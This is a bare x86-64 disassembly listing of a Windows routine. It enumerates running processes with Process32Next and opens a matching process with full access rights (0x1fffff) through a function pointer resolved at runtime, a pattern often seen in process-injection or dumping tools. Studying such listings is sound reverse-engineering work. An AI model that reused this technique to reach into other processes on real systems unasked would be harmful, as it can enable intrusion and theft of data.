test al, al
je 0x1400026d3
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov r10, qword [0x140105090]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x120]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0x120]
test rax, rax
je 0x1400026b7
mov rax, qword [rbp + 0x120]
cmp rax, 0xffffffffffffffff
je 0x1400026b7
mov rdx, qword [0x140105088]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x120]
jmp 0x14000270e
mov rdx, qword [0x140105088]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
jmp 0x14000270e
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x1400025bc
mov rdx, qword [0x140105088]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
add rsp, 0x1b0
pop rbp
ret